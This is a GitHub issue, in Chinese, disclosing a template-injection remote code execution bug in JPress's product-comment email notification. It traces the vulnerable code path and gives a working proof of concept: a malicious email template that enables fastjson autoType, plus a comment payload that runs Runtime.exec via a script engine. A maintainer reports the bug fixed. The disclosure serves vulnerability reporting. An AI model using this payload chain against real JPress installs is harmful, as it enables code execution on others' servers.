Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
与之前两篇不同,之前交过两个邮件模板注入的洞,一个触发点是在article的评论处,一个是在page的评论处,这次是在product的评论处,代码很相似,但不是同一份代码
jpress后台提供了评论邮件通知管理员功能,而且发送的邮件模板可控,官方给出了例子,告诉我们可以用#(comment.id),那么猜测这里可能会存在模板渲染问题
#(comment.id)
接着,尝试发一条评论看看后端代码的执行流程,后端对应的代码是io.jpress.module.product.controller.front.ProductController#postComment,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员
io.jpress.module.product.controller.front.ProductController#postComment
跟进io.jpress.module.product.ProductNotifyKit#doNotifyAdministrator,发现这里定义了两种方式,一个是sms发送,一个是email,我们跟进email的
io.jpress.module.product.ProductNotifyKit#doNotifyAdministrator
发现doNotifyAdministratorByEmail方法会继续调用doSendEmail,这个函数里面有模板渲染操作,在第90和91行,分别对邮件的emailTitle和emailTemplate调用getTemplateByString进行渲染,这两个变量实际上就是最开始我们在前端页面输入的
doNotifyAdministratorByEmail
doSendEmail
getTemplateByString
分析到这里,结合之前交过的那个邮件模板rce,应该可以直接打模板注入了
首先通过弱密码进入后台
然后开启这两项
然后配置管理员邮箱,随便配一个,这个是收件者
还得配置发送者的邮箱,配置完记得点提交,拉到最下面点提交
然后设置恶意邮件模板,同样记得要提交
#set(str=comment.content) #set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) #(x.setAutoTypeSupport(true)) #set(sem=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #(x.addAccept(sem)) #set(json=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #set(x=com.alibaba.fastjson.JSON::parse(json)) #set(js=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #set(e=x.getEngineByName(js)) #(e.eval(str))
然后创建一个product,点击上架
访问一下刚刚的商品
接下来,在商品下面评论如下内容
javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc")
发现计算器成功弹出,漏洞验证成功
The text was updated successfully, but these errors were encountered:
在 jpress 最新版本中已解决。
Sorry, something went wrong.
No branches or pull requests
审计过程
与之前两篇不同,之前交过两个邮件模板注入的洞,一个触发点是在article的评论处,一个是在page的评论处,这次是在product的评论处,代码很相似,但不是同一份代码
jpress后台提供了评论邮件通知管理员功能,而且发送的邮件模板可控,官方给出了例子,告诉我们可以用
#(comment.id),那么猜测这里可能会存在模板渲染问题接着,尝试发一条评论看看后端代码的执行流程,后端对应的代码是
io.jpress.module.product.controller.front.ProductController#postComment,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员跟进
io.jpress.module.product.ProductNotifyKit#doNotifyAdministrator,发现这里定义了两种方式,一个是sms发送,一个是email,我们跟进email的发现
doNotifyAdministratorByEmail方法会继续调用doSendEmail,这个函数里面有模板渲染操作,在第90和91行,分别对邮件的emailTitle和emailTemplate调用getTemplateByString进行渲染,这两个变量实际上就是最开始我们在前端页面输入的分析到这里,结合之前交过的那个邮件模板rce,应该可以直接打模板注入了
效果演示
首先通过弱密码进入后台
然后开启这两项
然后配置管理员邮箱,随便配一个,这个是收件者
还得配置发送者的邮箱,配置完记得点提交,拉到最下面点提交
然后设置恶意邮件模板,同样记得要提交
然后创建一个product,点击上架
访问一下刚刚的商品
接下来,在商品下面评论如下内容
发现计算器成功弹出,漏洞验证成功
The text was updated successfully, but these errors were encountered: